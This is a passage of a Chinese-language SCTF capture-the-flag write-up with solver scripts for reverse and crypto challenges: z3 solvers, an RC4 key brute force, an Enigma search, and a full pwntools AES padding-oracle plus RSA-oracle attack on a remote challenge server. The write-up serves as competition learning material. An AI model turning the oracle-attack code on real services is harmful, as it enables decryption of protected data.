if 'LABEL label' in line or line.startswith('label'):
res += line
continue
line = line[:-1] + ';\n'
res += line
with open('ori.c', 'w') as f2:
f2.write(res)
暂时无法在飞书文档外展示此内容
开优化编译出来,可以得到比较漂亮的伪代码,直接分析
- IR画了个控制流图,结合这个一起分析
# cfg.py
import graphviz
from construct import *
class BasicBlock:
def __init__(self) -> None:
self.code = []
self.cond = None
self.true = None
self.false = None
pass
with open('inter.txt', 'r') as f:
cfg = {}
# get all cfg
cur_cfg = None
while True:
line = f.readline()
if not line:
break
if 'LABEL' in line:
if cur_cfg != None and cur_cfg.false == None:
cur_cfg.false = line.split('LABEL ')[1].replace(
' :', '').replace('\n', '')
cur_cfg = BasicBlock()
key = line.split('LABEL ')[1].replace(' :', '').replace('\n', '')
cfg[key] = cur_cfg
if cur_cfg is not None:
cur_cfg.code.append(line)
if 'GOTO' in line:
if 'IF' in line:
cur_cfg.true = line.split(' ')[-1].replace('\n', '')
else:
cur_cfg.false = line.split('GOTO ')[1].replace('\n', '')
print(cfg)
dot = graphviz.Digraph(comment="ir-cfg")
dot.render('ir-cfg')
for key in cfg:
node_name = key
node_label = "".join(cfg[key].code)
print(node_label)
dot.node(node_name, label=node_label)
block = cfg[key]
if block.true:
dot.edge(node_name, block.true, label="True")
if block.false:
dot.edge(node_name, block.false, label="False")
dot_file_path = "graph.dot"
dot.render(dot_file_path, format="png")
解得flag
实现一遍加密,然后z3直接解,得到flag
from z3 import *
class exp:
def __init__(self) -> None:
self.key = [0] * 24
self.L = [0] * 8
self.R = [0] * 8
self.X = [0] * 8
pass
exp3 = exp()
exp4 = exp()
ipt = [BitVec('ipt[%d]' % i, 8+2) for i in range(24)]
exp3.key = ipt
for i in range(23, 0, -1):
exp3.key[i] -= exp3.key[i-1]
exp3.L[0] = 0
exp3.R[0] = 8
exp3.X[0] = 11
exp3.L[1] = 15
exp3.R[1] = 23
exp3.X[1] = -13
exp3.L[2] = 2
exp3.R[2] = 11
exp3.X[2] = 17
exp3.L[3] = 10
exp3.R[3] = 20
exp3.X[3] = -19
exp3.L[4] = 6
exp3.R[4] = 13
exp3.X[4] = 23
exp3.L[5] = 9
exp3.R[5] = 21
exp3.X[5] = -29
exp3.L[6] = 1
exp3.R[6] = 19
exp3.X[6] = 31
exp3.L[7] = 4
exp3.R[7] = 17
exp3.X[7] = -37
for i in range(8):
exp3.key[exp3.L[i]] += exp3.X[i]
exp3.key[exp3.R[i]] -= exp3.X[i]
for i in range(1, 24):
exp3.key[i] += exp3.key[i-1]
exp4.key[0] = 252
exp4.key[1] = 352
exp4.key[2] = 484
exp4.key[3] = 470
exp4.key[4] = 496
exp4.key[5] = 487
exp4.key[6] = 539
exp4.key[7] = 585
exp4.key[8] = 447
exp4.key[9] = 474
exp4.key[10] = 577
exp4.key[11] = 454
exp4.key[12] = 466
exp4.key[13] = 345
exp4.key[14] = 344
exp4.key[15] = 486
exp4.key[16] = 501
exp4.key[17] = 423
exp4.key[18] = 490
exp4.key[19] = 375
exp4.key[20] = 257
exp4.key[21] = 203
exp4.key[22] = 265
exp4.key[23] = 125
for i in range(23, 0, -1):
exp4.key[i] -= exp4.key[i-1]
for i in range(8):
exp4.key[exp3.L[i]] -= exp3.key[i * 3]
exp4.key[exp3.R[i]] += exp3.key[i * 3]
for i in range(1, 24):
exp4.key[i] += exp4.key[i-1]
s = Solver()
for i in range(24):
s.add(exp3.key[i] == exp4.key[i])
if s.check() == sat:
model = s.model()
result = []
for i in range(len(model)):
for decls in model.decls():
if(decls.name()==('ipt[%d]' % i)):
result.append(int('%s' % model[decls]))
result[i] &= 0xff
break
result = bytearray(result)
print(result)
Digital_circuit_learning
Binary ninja可以直接看,记得创个segment给ram
input_func [0x1aa0]
输入函数,要求输入一个数字字符串
长度0x1A,格式为SCTF{\d+}
调用了三个函数,意义即为名字
在上图other_cpy复制了前十位到0x200000bf,随后在该函数引用
IDA识别
https://bbs.kanxue.com/thread-274788.htm
同样也是创个segment,直接搜索字符串跳过去即可
首先输入,比如@SCTF{xxx}##,xxx必须为hex字符串
随后将20字节的hex字符串转为10字节的byte数组
随后将输入赋值到0x200000BF这段内存,并为cond赋初值'w'
call_array下标为偶数的元素为函数指针,奇数部分为输入,并且不会被改变
最后通过sys(10)一个特殊的调用,进入一个调用call_array中函数指针的循环
循环中,通过一个固定的cond序列(这个序列由'w'及cond_transform计算得出),得到每轮比较的值,来决定调用函数指针数组中的某个特定下标对应的函数指针
该函数中将一个固定的函数调用路径字符串与实际的函数调用路径字符串进行对比,如果一样,则为正确,因此本题我们只需要找到一个输入,使得这个函数调用路径的约束能够被满足,则可以算出正确flag
解得flag
通过初始的'w'生成对比数组,然后通过给定的调用路径将对比数组变序,得到原始未解密的10字节
然后再模拟一遍j解密函数调用,即可解得flag
def cond_transform(cond):
cond = ((((cond >> 6) & (cond >> 2) & 1) == 0) | (2 * cond)) & 0xff
return cond
cond = [0] * 10
cond[0] = ord('w')
for i in range(10-1):
cond[i+1] = (cond_transform(cond[i]))
alphabet = "abcdefghijklmnopqrstuvwxyz"
enc = [0] * 10
enc[alphabet.index('b')] = cond[0]
enc[alphabet.index('d')] = cond[1]
enc[alphabet.index('g')] = cond[2]
enc[alphabet.index('f')] = cond[3]
enc[alphabet.index('c')] = cond[4]
enc[alphabet.index('i')] = cond[5]
enc[alphabet.index('e')] = cond[6]
enc[alphabet.index('j')] = cond[7]
enc[alphabet.index('h')] = cond[8]
enc[alphabet.index('a')] = cond[9]
def b(arr):
for i in range(10):
arr[i] -= 1
return arr
def d(arr):
for i in range(10):
arr[i] ^= 0x35
return arr
def g(arr):
for i in range(10):
arr[i] = (arr[i] << 4) & 0xff | (arr[i] >> 4)
return arr
def f(arr):
for i in range(10):
arr[i] ^= arr[(i + 1) % 10]
return arr
def c(arr):
for i in range(10):
arr[i] += 1
return arr
def i(arr):
for i in range(10):
arr[i] = (arr[i] << 5) & 0xff | (arr[i] >> 3)
return arr
def e(arr):
for i in range(10):
arr[i] ^= arr[9 - i]
return arr
def j(arr):
for i in range(10):
arr[i] ^= 0xF7
return arr
def h(arr):
for i in range(10):
arr[i] = (arr[i] << 6) & 0xff | (arr[i] >> 2)
return arr
def a(arr):
for i in range(10):
arr[i] &= 0xff
return arr
enc = b(enc)
enc = d(enc)
enc = g(enc)
enc = f(enc)
enc = c(enc)
enc = i(enc)
enc = e(enc)
enc = j(enc)
enc = h(enc)
enc = a(enc)
print(bytearray(enc))
out = [0] * 20
for i in range(0, 20, 2):
if ( (enc[i // 2] & 0xF) > 9 ):
out[i + 1] = (enc[i // 2] & 0xF) + ord('W')
else:
out[i + 1] = (enc[i // 2] & 0xF) + ord('0')
if ( (enc[i // 2] >> 4) > 9 ):
out[i] = (enc[i // 2] >> 4) + ord('W')
else:
out[i] = (enc[i // 2] >> 4) + ord('0')
print(bytearray(out))
# SCTF{5149ac8b033d602bf6d3}
SycTee
https://o0xmuhe.github.io/2022/08/24/optee%E5%AD%A6%E4%B9%A0/ 怀疑是出题人学习opTee的笔记
找目标CA
qemu起一下,/usr/bin/里可以看到有若干个optee的example
其中optee_example_bj888会输出wrong,因此可能为目标CA
分析CA
参数拿输入,长度27,有段16字节重复两次的字符串
此处可以拿到目标TA的UUID
此处函数均为与目标TA通信
分析TA
目录/lib/optee_armtz/下有许多TA,根据CA中的UUID拿到目标TA
TA为:045ccc45-ee83-43ec-b69f-121819c1ba6b.ta
通过"wrong"交叉引用至关键函数,发现有key,iv,即为CA发来的数据
通过该字符串得知为AES加密,加密模式未知
此处可以拿到密文
解得flag
CyberChief里面每个模式都试一下就出了
sctf{T3e_not_s4f3_anym0re!}
SycLock
level0
内部起了个level0文件,dump了出来,爆破四位数的key即可
暂时无法在飞书文档外展示此内容
怪了四位数密钥跑不完
#include <stdio.h>
#include <string.h>
#define LEN 256
void Rc4_Init(unsigned char * s, unsigned char * key, int klen);
void Rc4_Crypt(unsigned char * s, unsigned char * p, int plen);
int main(void)
{
unsigned char key[4] = { 0 };
int i, j;
int a, b, c, d;
unsigned char enc[] = {24, 248, 37, 134, 70, 16, 146, 218, 211, 137, 244, 4, 126, 179, 247, 92, 206, 77, 175, 34, 122, 14, 158};
for (a = 32; a < 127; a++)
for (b = 32; b < 127; b++)
for (c = 32; c < 127; c++)
for (d = 32; d < 127; d++)
{
key[0] = a;
key[1] = b;
key[2] = c;
key[3] = d;
unsigned char s[LEN] = { 0 };
unsigned char p[] = { 0x66, 0x6c, 0x61, 0x67, 0x7b, 0x74, 0x68, 0x69, 0x73, 0x5f, 0x69, 0x73, 0x5f, 0x66, 0x61, 0x6b, 0x65, 0x5f, 0x66, 0x6c, 0x61, 0x67, 0x7d };
Rc4_Init(s, key, 4);
Rc4_Crypt(s, p, 23);
for ( i = 0; i < 23; i++ )
{
if (p[i] != enc[i])
break;
if (i == 22)
puts(key);
}
}
printf("over");
return 0;
}
void Rc4_Init(unsigned char * s, unsigned char * key, int klen)
{
unsigned char k[256] = { 0 };
unsigned char t = 0;
int i, j;
for ( i = 0; i < LEN; i++ )
{
s[i] = i; //向量S
k[i] = key[i % klen]; //向量T 由key组成 用来打乱S
}
for ( i = 0, j = 0; i < LEN; i++ )
{
j = (j + s[i] + k[i]) % 256;
t = s[i];
s[i] = s[j];
s[j] = t;
}
}
void Rc4_Crypt(unsigned char * s, unsigned char * p, int plen)
{
int i, j, k, t, tmp;
for ( i = 0, j = 0, k = 0; k < plen; k++ )
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
// printf("%d %d\n", p[k], s[t]);
p[k] = (p[k] ^ s[t]) ^ 18;
}
}
Password: good
level1
先检测了输入是否在字符串中,然后 “reverseisfun” 二叉树生成,之后遍历出来一个表
拿密文试表
Password: userv
level2
拿到level2.jar
里面几个异或
不吃饭了就有血了呜呜呜
from z3 import *
enc = [90, 80, 70, 91, 93, 80, 93, 71, 82, 65, 90, 110]
input = [BitVec("input%d" % i, 8) for i in range(len(enc))]
sol = Solver()
tmp = input.copy()
for i in range(12):
tmp[i] = tmp[i] ^ tmp[(i + 1) % 12]
for j in range(1, 12):
tmp[j] = tmp[j] ^ tmp[j - 1]
for i in range(12):
sol.add(tmp[i] == enc[i])
assert sat == sol.check()
ans = sol.model()
for i in range(12):
print(chr(ans[input[i]].as_long()), end= "")
Password: 4ndroidisfun
CRYPTO
全频带阻塞干扰(下)
整了一晚上,谁能想到m2要拼接在m1后面
CyberChef自带bombe 一把梭
根据CyberChef的文档 挨个调R ring和R initial 直到KW发现像样
https://github.com/gchq/CyberChef/wiki/Enigma,-the-Bombe,-and-Typex
需要爆破R和C和L的ring和initial
https://github.com/matheusportela/enigma-machine
js运行 node app.js |sort | uniq -c | sort
const enigma = require("./enigma");
function characterAdd(char, num) {
let charCode = char.charCodeAt(0);
let newCharCode = charCode + num;
while (newCharCode > 90) {
newCharCode = newCharCode - 26;
}
return String.fromCharCode(newCharCode);
}
let createMachine1 = function(delta1,delta2,delta3) {
let machine = new enigma.Machine();
let plugboards = "UX YC TV RB AP QL ID GH FZ".split(" ");
machine.setPlugboard(new enigma.Plugboard(...plugboards));
let leftRotor = new enigma.RotorI();
const leftMotorInnerPosition = "A";
const leftMotorInitialPosition = "H";
leftRotor.setInnerPosition(characterAdd(leftMotorInnerPosition , delta1));
leftRotor.setInitialPosition(characterAdd(leftMotorInitialPosition , delta1));
let middleRotor = new enigma.RotorII();
const middleMotorInnerPosition = "A";
const middleMotorInitialPosition = "Y";
middleRotor.setInnerPosition(characterAdd(middleMotorInnerPosition , delta2));
middleRotor.setInitialPosition(characterAdd(middleMotorInitialPosition , delta2));
let rightRotor = new enigma.RotorIII();
const rightMotorInnerPosition = "K";
const rightMotorInitialPosition = "W";
rightRotor.setInnerPosition(characterAdd(rightMotorInnerPosition , delta3));
rightRotor.setInitialPosition(characterAdd(rightMotorInitialPosition , delta3));
machine.setRotors(leftRotor, middleRotor, rightRotor);
let reflector = new enigma.ReflectorB();
machine.setReflector(reflector);
return machine;
};
const plaintext = "WIRHABENHEUTESONNE"
const cipher = 'TBFRZSFRYOXASAXHMU'
function testDeltaIsCorrect(delta1,delta2,delta3){
let machine = createMachine1(delta1,delta2,delta3)
let enc = ""
for(let char of plaintext){
enc += machine.encode(char)
}
return enc === cipher
}
// const m2 = "NVILDEWRVPRYJRIBDTQPUTQUNBFDMPULTZWBNCXSJEIZUTJFPF"
const m2 = "TBFRZSFRYOXASAXHMUNVILDEWRVPRYJRIBDTQPUTQUNBFDMPULTZWBNCXSJEIZUTJFPF"
function useDeltaToEncodeM2(delta1,delta2,delta3){
let machine = createMachine1(delta1,delta2,delta3)
let enc = ""
for(let char of m2){
enc += machine.encode(char)
}
return enc
}
function brute1(){
for(let delta1=0;delta1<26;delta1++){
for(let delta2=0;delta2<26;delta2++){
for(let delta3=0;delta3<26;delta3++){
if(testDeltaIsCorrect(delta1,delta2,delta3)){
let m2enc = useDeltaToEncodeM2(delta1,delta2,delta3)
// console.log(delta1,delta2,delta3,m2enc)
console.log(m2enc)
}
}
}
}
}
brute1()
Barter
连上去拿sign,然后构造 n = msg ** 7 - sign
然后直接算就行
from Crypto.Util.number import *
from tqdm import tqdm
p = 58836547289031152641641668761108233140346455328711205590162376160181002854061
F = GF(p)
a = F(114)
b = F(514)
Curve = EllipticCurve(F, [a, b])
P = Curve(24181776889473219401017476947331354458592459788552219617833554538756564211844, 33783050059316681746742286692492975385672807657476634456871855157562656976035)
Q = Curve(16104852983623236554878602983757606922134442855643833150623643268638509292839, 3562830444362909774600777083869972812060967068803593091854731534842281574275)
rlist0 = Curve(50920555924101118476219158701093345090627150442059647242030060086626996278598, 17315955722470328221060306265815393112598133273043087936093188680722234079107)
rlist = [0, 50920555924101118476219158701093345090627150442059647242030060086626996278598]
s = (114514 * rlist0)[0]
for i in tqdm(range(600 - 2)):
s = int((s * P)[0])
r = int((s * Q)[0])
rlist.append(r)
enc = 4911741083112145038719536311222612998219730565328651097326896414315857050336523018712625917027324116103593300559128797807261543857571883314990480072241188
for i in range(16):
seq = list(bin(i)[2:].rjust(4, '0'))
seq = [int(seq[0]), int(seq[1]), int(seq[2]), int(seq[3])]
print(seq)
add = rlist[55]*(seq[0]*rlist[66] + seq[1]*rlist[77] + seq[2]*rlist[88] + seq[3]*rlist[99])
xor = pow(rlist[114], rlist[514], rlist[233]*rlist[223])
print(long_to_bytes((enc-add)^^xor))
Math forbidden
AES padding oracle + rsa oracle
from Crypto.Util.number import *
from tqdm import tqdm
from pwn import *
def h2b(x: str) -> bytes:
return long_to_bytes(int(x, 16))
def b2h(x: bytes) -> str:
return x.hex()
def strxor(a, b):
assert len(a) == len(b)
return bytes([x^y for x,y in zip(a,b)])
io = remote("1.14.95.121", "9999")
# context(log_level = 'debug')
def talk1(key: bytes, iv: bytes, getdata=False):
io.recvuntil(">")
io.sendline("1")
io.recvuntil(">")
io.sendline(b2h(key))
io.recvuntil(">")
io.sendline(b2h(iv))
res = io.recvline(False)
if getdata:
io.recvuntil("N ")
n = int(io.recvline(False), 16)
io.recvuntil("E ")
e = int(io.recvline(False), 16)
io.recvuntil("c ")
c = int(io.recvline(False))
return n, e, c
if b'0.0' in res:
return True
else:
return False
def talk2(n, c, syskey):
io.recvuntil(">")
io.sendline("2")
io.recvuntil(">")
io.sendline(b2h(long_to_bytes(n)))
io.recvuntil(">")
io.sendline(b2h(long_to_bytes(c)))
io.recvline()
io.sendline('yes')
io.recvline()
io.sendline(b2h(syskey))
res = io.recvline(False)
return b'0000' in res
def burst(enc):
length = 0
tmp = enc
iv = b''
for r in range(16):
print(iv)
midiv = strxor(iv, len(iv)*bytes([r+1]))
for i in tqdm(range(256)):
testiv = (bytes([i]) + midiv).rjust(16, b'\x00')
# print(testiv)
res = talk1(enc, testiv)
if res:
print(r, i, res)
iv = bytes([i ^ (r+1)]) + iv
break
return iv
io.recvuntil("your token ")
enc = h2b(io.recvuntil(" ").split()[0])
iv = h2b(io.recvline(False).split()[0])
n, e, c = talk1(enc, iv, True)
mid = burst(enc)
syskey = strxor(mid, iv)[:8]
print(strxor(mid, iv))
# context(log_level = 'debug')
cnt = 200
while True:
cnt += 1
res = talk2(n, c * pow(pow(2, cnt, n), e, n), syskey)
if res == False:
print(cnt)
break
upper = 2 ** cnt
lower = 2 ** (cnt-1)
while(lower+1 < upper):
mid = (upper + lower) // 2
res = c * pow(mid, e, n) % n
back = talk2(n, res, syskey)
if(back):
lower = mid
else:
upper = mid
m = 2 ** (64*8 - 8)
secret = long_to_bytes(m//upper)[:16]*2
io.recvuntil(">")
io.sendline("3")
io.recvuntil(">")
io.sendline(b2h(secret))
io.interactive()
# io.close()